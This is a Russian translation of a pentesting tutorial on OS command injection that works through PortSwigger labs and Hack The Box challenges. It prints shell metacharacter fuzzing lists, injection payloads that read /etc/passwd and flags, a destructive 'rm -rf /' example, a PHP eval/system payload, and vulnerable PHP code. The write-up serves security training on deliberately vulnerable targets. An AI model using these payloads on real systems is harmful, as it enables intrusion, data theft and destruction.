Использование команд ОС для эксплойтов [Complete web app pentesting series #9]
Введение
Внедрение команд - это критическая уязвимость, которая позволяет злоумышленникам выполнять несанкционированные команды в системе. В этом блоге мы рассмотрим подходы к обнаружению как "white box", так и "black box". Прежде чем мы углубимся в эту тему, мы должны понять, что такое shell metachracter
и что такое payload
с точки зрения командной инъекции.
Метасимволы оболочки (Cybersecurity POV)
В Linux мы используем ls ; whoami
для последовательного выполнения обеих команд - ls
перечисляет файлы и whoami
показывает текущего пользователя. Аналогично, при внедрении команд злоумышленники используют метасимволы оболочки для проникновения вредоносных полезных данных наряду с действительными параметрами HTTP без нарушения ожидаемой функциональности приложения. Например, если приложение выполняет ping 127.0.0.1
, злоумышленник мог бы отправить ping 127.0.0.1 ; cat /etc/passwd
выполнить обе команды , сохранив исходный запрос нетронутым.
Определение полезной нагрузки
Полезная нагрузка состоит из метасимволов оболочки ( &
, &&
, |
, ||
, ;
, \n
, >
, <
, $()
) и их версии в URL-кодировке ( %26
, %26%26
, %7C
, %7C%7C
, %3B
, %0A
, %3E
, %3C
, %24%28%29
). Эти символы используются для связывания команд, выполнения команд и манипулирования ими , что делает их необходимыми для тестирования и использования уязвимостей при внедрении команд.
Подход "Black Box"
Для начала blackbox
относится к сценарию, в котором у нас нет доступа к исходному коду, а при тестировании whitebox у нас есть доступ к исходному коду.
1. OS command injection, легкий кейс
https://portswigger.net/web-security/os-command-injection/lab-simple
Сначала мы пробуем различные shellmeta-chracters
значения, которые приложение принимает в качестве входных данных. Вы можете использовать следующий пользовательский список слов и пробовать различные значения для каждого входного параметра, чтобы найти допустимый метасимвол оболочки. Этот список слов также содержит значения в кодировке URL.
/home/mccleod/custom via v3.8.10 took 12s ❯ cat shell-metachracters.txt & && | || ; \n > < $() %26 %26%26 %7C %7C%7C %3B %0A %3E %3C %24%28%29
Теперь в приложении мы нажимаем на все возможные кнопки и видим интересную опцию под названием check stock
, а за кулисами замечаем, что это запрос POST
.
Теперь давайте выполним фаззинг для метасимволов оболочки productId
и storeId
и посмотрим, что произойдёт. Добавьте точки вставки полезной нагрузки в следующую область и убедитесь, что выбран вариант атаки battering ram
. Убедитесь, что вы скопировали и вставили полезную нагрузку из shell-metacharacters.txt
. И начинайте атаку.
Мы видим пару интересных ответов. /n
и $()
возвращаемые числа, такие как 32
и 42
и тот $
character практически ничего не возвращает, но в то же время не выдает ошибок, как остальные метасимволы.
Обратите внимание, что не следует допускать такой ошибки, как ввод полезной нагрузки в двух точках одновременно. Почему? А что, если productId
не уязвима, а storeId
уязвима? В этом случае нам нужно проводить фаззинг для каждой точки отдельно, как правило, всегда проводите фаззинг для одного параметра или одной конечной точки за раз.
Интересно, что ;
-символ даёт нам представление о сценарии командной оболочки и таких важных деталях, как расположение сценария. То же самое происходит, даже если ;
-символ закодирован в URL.
Наконец, после долгих проб и ошибок мы увидели, что полезные данные с такими метасимволами, как %oa
, |
и ;
, работают в полезной нагрузке. Даже url -encoded ones
хорошо работают в этой лаборатории
Таким образом мы решаем задачу из лаборатории. Но помните, когда мы использовали ;
в качестве входных данных, мы нашли расположение сценария оболочки? Давайте взглянем на сценарий, чтобы лучше понять, почему возникает уязвимость, связанная с внедрением команд.
Теперь, если мы используем cat
команду Linux, чтобы взглянуть на stockreport.sh
, то мы видим, что eval
используется функция. Использование eval
при несанкционированном вводе допускает выполнение произвольного кода, позволяя злоумышленнику внедрять и выполнять вредоносные команды.
2. Внедрение команд в ОС с временными задержками
https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays
Эта лаборатория очень похожа на предыдущую. Она служит хорошим дополнением к тому, что мы узнали из предыдущей лаборатории, и закрепляет полученные знания и навыки.
Шаг 1. Нажмите кнопку «Все» и найдите интересные запросы и/или конечные точки.
Шаг 2. После того как конечная точка найдена, попробуйте ввести shell-metachracters
во все поля ввода, чтобы определить, какое из них сработает.
Шаг 3. Как только вы найдёте допустимые shell metachracter
например |
или ;
, можно приступать к тестированию на внедрение команд. Попробуйте использовать такие полезные данные, как ;whoami
или |whoami
Шаг 4. Поскольку эта лаборатория связана с временными задержками, мы попробуем использовать такие команды, как sleep
или pinging localhost
, чтобы всё это работало в циклах.
sleep 10 ping -c 127.0.0.1
Теперь, глядя на burp suite, мы видим, что в отличие от предыдущей лаборатории у нас нет check stock
, но в правом верхнем углу мы видим нечто под названием submit a feedback
. Давайте попробуем
Методом проб и ошибок мы выяснили, что параметр email
уязвим для внедрения команд. Но что-то идёт не так, и это не работает. Даже если мы URL-ENCODE
используем такие символы, как ; sleep 10
или | sleep 10
, задержка всё равно сохраняется.
Помните, мы использовали разделитель в sql injection
, чтобы закомментировать errors
из sql syntax
, которые мы вводим в качестве входных данных? При внедрении команды we can use #
или символ хэша, чтобы закомментировать ошибки. Когда мы используем #
и url encode
это с ctrl+u
, мы получаем задержку по времени на 10 секунд, что решает проблему нашей лаборатории.
3. Внедрение команд в операционную систему с перенаправлением вывода
https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection
Некоторым из вас, кто прочитает этот раздел, может показаться, что это CTFish, или вы можете даже спросить: какой смысл в перенаправлении вывода, если я могу выполнить свою команду, указав путь к серверу? Что ж, в этом есть смысл, и я включил это в список только потому, что это заставило меня мыслить нестандартно и задуматься: можем ли мы пойти дальше простого выполнения произвольных команд на сервере? Что ж, ответ — да, и в этой лабораторной работе мы выполним нашу команду, перенаправим вывод команды в текстовый файл и с помощью LFI, или локального включения файлов, прочитаем вывод. Дайте этому немного времени, и если это звучит слишком странно, то к концу этого раздела, я надеюсь, всё станет ясно.
На первый взгляд мы видим форму обратной связи, похожую на ту, что была в предыдущем упражнении. Теперь мы можем использовать фаззинг для таких метасимволов, как |
, ||
, ;
и т. д., а также для каждого параметра. Мы видим, что в параметре name, если мы попробуем ввести что-то вроде ;whoami
или |whoami
, сервер ответит сообщением could not save
.
Поскольку у нас нет доступа к исходному коду, лучше всего предположить, что приложение настроено таким образом, что вывод не отображается, если только он не сохранён. Напомним, что в Linux можно использовать оператор >
или >>
для сохранения вывода в текстовый файл. Давайте сделаем это и здесь.
Мы по-прежнему получаем ту же ошибку. Мы перенаправили вывод в /var/www/images
, указанный в описании лаборатории, и создали новый файл под названием output.txt
. Обратите внимание, что >
создаёт новый текстовый файл.
Теперь давайте использовать #
в качестве разделителя для комментирования ошибок. Мы по-прежнему получаем сообщение об ошибке, поэтому в крайнем случае можно закодировать данные с помощью URL, чтобы сервер понял запрос и ответил корректно. Вы можете использовать ctrl+u
для декодирования URL в Burp Suite.
Теперь мы видим, что наша полезная нагрузка обрабатывается корректно, а в случае возникновения ошибки достаточно сбросить или перезапустить lab. Не стесняйтесь пробовать другие метасимволы оболочки, такие как &
и так далее. Как же нам получить файл?
Что ж, давайте посмотрим на веб-страницу. Мы видим много изображений. Если мы нажмём правой кнопкой мыши и откроем изображение, то увидим, что URL-адрес выглядит примерно так, как показано ниже.
https://0a3c008f04204dc4821d792b006b008e.web-security-academy.net/image?filename=7.jpg
Видите параметр ?filename=7.jpg
? А что, если мы заменим 7.jpg
на output.txt? Сможем ли мы получить файлы из этого конкретного каталога /var/www/images
? Давайте попробуем.
Когда мы меняем имя файла на output.txt, мы видим результат выполнения команды whoami
и таким образом решаем задачу.
Подход к белому ящику (White Box)
1. Зазеркалье (Looking Glass)
https://app.hackthebox.com/challenges/looking%20glass/
На первый взгляд кажется, что веб-сайт пингует IP-адрес, и вы замечаете, насколько реалистичен вывод команды ping. Создаётся впечатление, что команда ping
выполняется на компьютере с Linux и отображается её вывод. Если команда ping может быть выполнена, то что насчёт других команд Linux, которые могут быть выполнены сервером? Что ж, давайте попробуем выполнить следующую команду…
10.30.18.29; ls ../
Мы видим, что с помощью базового метасимвола оболочки мы можем выполнить любую команду Linux. Так что давайте не будем терять время и получим флаг.
Мы можем использовать команду cat
для считывания флага.
10.30.18.29; cat ../flag_b1ubZ
Таким образом мы получаем наш флаг. Но всё не так весело: мы просто получили флаг с помощью базовой команды Linux, что определённо неинтересно.
Поскольку мы можем выполнять команды, давайте посмотрим, какие ещё файлы есть в каталоге, в котором мы находимся.
10.30.18.29; ls
Мы видим файл с именем index.php
и можем прочитать его исходный код.
Теперь с помощью следующей команды мы можем напрямую прочитать файл index.php
.
10.30.18.29; cat index.php
С помощью приведённой выше команды мы получаем исходный код для index.php
. Мы сосредоточились на функции runTest
, которая выглядит точно так же, как следующие строки.
function runTest($test, $ip_address) { if ($test === 'ping') { system("ping -c4 ${ip_address}"); } if ($test === 'traceroute') { system("traceroute ${ip_address}"); } }
PHP-код уязвим для внедрения команд как в функции ping, так и в функции traceroute, поскольку он использует необработанные пользовательские данные непосредственно в командах оболочки. В частности, функция runTest принимает управляемое пользователем значение из $POST[‘ip_address’] и без какой-либо фильтрации вставляет его в команды system("ping -c4 ${ip_address}")
и system("traceroute ${ip_address}")
.
Отсутствие проверки или очистки данных означает, что злоумышленник может добавить операторы оболочки (например, ;
, &&
, или |
) к вводу ip_address, чтобы выполнить произвольные команды (например, 8.8.8.8; rm -rf /
). Кроме того, хотя поле ввода предварительно заполняется IP-адресом пользователя с помощью <?= getUserIp() ?>
, его можно редактировать, что позволяет любому пользователю изменить его на вредоносное значение.
2. TimeKORP
https://app.hackthebox.com/challenges/TimeKORP
Прежде чем мы углубимся в технические детали, давайте рассмотрим возможные варианты полезной нагрузки.
'+%0a+cat+/flag+%0a+' '%3b+cat+/flag+||+' '%3b+cat+/flag+%3b+%23' '%3b+cat+/flag+%3b'
Логика этой полезной нагрузки основана на исходном коде. Если говорить простыми словами, полезная нагрузка состоит из следующих элементов
[singlequote][space][shell-metacharacter][space]cat /flag[space][shellmetacharacter][singlequote]
Теперь давайте углубимся в исходный код, чтобы понять, почему всё работает и почему мы придумали эту полезную нагрузку. Помните, что даже если задача помечена как very easy
, она может оказаться непростой, и некоторые метасимволы оболочки, такие как &
, могут не сработать. Что ещё хуже, ls
и другие команды Linux могут не дать никакого значимого результата
Теперь исходный код для этого челленджа находится не на платформе hackthebox, а в Cryptocat
, где он разбит на части. Не стесняйтесь посмотреть его видео на YouTube.
$format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S'; $time = new TimeModel($format);
public function __construct($format) { $this->command = "date '+" . $format . "' 2>&1"; } public function getTime() { $time = exec($this->command); return isset($time) ? $time : '?'; }
Взглянув на TimeController.php
и TimeModel.php
, мы приходим к следующему выводу:
- Прямой ввод данных пользователем в команду оболочки: параметр
format
, указанный пользователем, добавляется непосредственно в команду оболочки. - Выполнение команды оболочки: в коде используется функция
exec()
в PHP для выполнения команды, образующейdate '+[user_input]' 2>&1
.
Когда злоумышленник отправляет полезную нагрузку вида +%0a+cat+/flag+%0a+
:
date '+ cat /flag ' 2>&1
- Аналогичным образом полезные нагрузки, такие как
; cat /flag ;
, вводят дополнительные команды, используя;
в качестве разделителя. - Несмотря на то, что внедрение может быть успешным, возникают ошибки «Отказано в доступе», поскольку веб-приложение работает с ограниченными правами, что препятствует доступу к конфиденциальным файлам.
Это классическая уязвимость, связанная с внедрением команд (CWE-78) из-за недостаточной очистки и проверки входных данных.
3. LoveTok
https://app.hackthebox.com/challenges/LoveTok/walkthroughs
Теперь в этом приложении у нас есть параметр format
и уникальная полезная нагрузка, созданная на основе исходного кода. Сначала давайте посмотрим на полезную нагрузку. Затем мы углубимся во внутреннюю механику
/?format=${system($_GET[1])}&1=whoami ${system($_GET[cmd])}&cmd=ls /
Мы видим, что, несмотря на ошибку, нам удалось успешно выполнить такие команды, как whoami
в веб-приложении.
Для этого приложения нам предоставлен почтовый индекс, и есть четыре основные php
страницы, которые привлекают наше внимание:
class TimeModel { public function __construct($format) { // The format string is “sanitized” by addslashes $this->format = addslashes($format); // A time offset string is built using random values. [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ]; $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second"; } public function getTime() { // The critical part: eval() is used to build a date string eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));'); return isset($time) ? $time : 'Something went terribly wrong'; } }
Что происходит в приведённом выше фрагменте кода?
- Обработка входных данных: Конструктор принимает параметр
$format
. Он используетaddslashes()
для экранирования определённых символов (например, кавычек, обратной косой черты). Однако экранирования с помощьюaddslashes()
недостаточно, если входные данные впоследствии используются в контекстеeval()
. - Создание динамического кода: в
getTime()
код формирует PHP-выражение, которое вызываетdate()
. Оно объединяет (экранированную) строку формата непосредственно со строкой кода, а затем передает ее вeval()
. - Риск: Поскольку
eval()
обрабатывает вводимые данные как PHP-код, любая инъекция кода в$format
будет выполнена на сервере.
class TimeController { public function index($router) { // Directly taking a GET parameter and passing it to TimeModel $format = isset($_GET['format']) ? $_GET['format'] : 'r'; $time = new TimeModel($format); return $router->view('index', ['time' => $time->getTime()]); } }
Что происходит в приведённом выше фрагменте кода?
- Контроллер получает параметр
format
из URL-адреса (то есть из пользовательского ввода) и передаёт его непосредственно вTimeModel
без дополнительной очистки. - Это означает, что злоумышленник может указать вредоносную строку в параметре
format
.
// index.php snippet: date_default_timezone_set('UTC'); spl_autoload_register(function ($name){ if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } else if (preg_match('/Model$/', $name)) { $name = "models/${name}"; } include_once "${name}.php"; }); $router = new Router(); $router->new('GET', '/', 'TimeController@index'); $response = $router->match(); die($response);
Что происходит в приведённом выше фрагменте кода?
- Файл настраивает автозагрузку классов, определяет базовый маршрут (сопоставление корневого URL
/
сTimeController@index
), а затем обрабатывает запрос.
Как работает полезная нагрузка эксплойта
Указанная полезная нагрузка равна:
/?format=${system($_GET[1])}&1=whoami
а. Компоненты полезной нагрузки
format
параметр:
Переданное значение равно${system($_GET[1])}
В контексте кода послеaddslashes()
значение по-прежнему находится внутри строки, которая в конечном итоге передаётся вeval()
.1
параметр:
Этот параметр имеет значениеwhoami
. Доступ к нему в внедренном коде осуществляется через$_GET[1]
.
b. Механика инжекта
- Создание строки:
Переданный пользователем параметрformat
(послеaddslashes()
) по сути остаётся${system($_GET[1])}
. Несмотря на то, что некоторые символы экранированы, опасный код всё ещё присутствует. - Использование eval():
При вызовеeval()
создается и выполняется PHP-выражение, которое выглядит следующим образом:
$time = date("${system($_GET[1])}", strtotime("..."));
Поскольку строка заключена в двойные кавычки, PHP обрабатывает синтаксис ${...}
и выполняет код внутри него.
- Выполнение кода:
Выражение${system($_GET[1])}
запускает функциюsystem()
с параметром$_GET[1]
. Поскольку в URL-адресе указано&1=whoami
, выполняетсяsystem("whoami")
. - Результат:
Отображается вывод командыwhoami
, подтверждающий, что на сервере можно выполнять произвольные команды.
Почему addslashes()
здесь не работает
- Цель
addslashes()
:
Эта функция предназначена для экранирования кавычек и обратных косых черт, чтобы строки можно было безопасно использовать в таких контекстах, как запросы к базе данных (для предотвращения простого SQL-инъекционного кода). - Не подходит для
eval()
: addslashes()
не нейтрализует PHP-код, когда этот код впоследствии выполняется с помощьюeval()
.- Опасные части (например, синтаксис
${...}
для вызова переменных и функций) не удаляются. - Таким образом, даже после экранирования вредоносная строка по-прежнему содержит исполняемый PHP-код внутри вызова
eval()
.
Оригинальная статья | Перевод: THREAD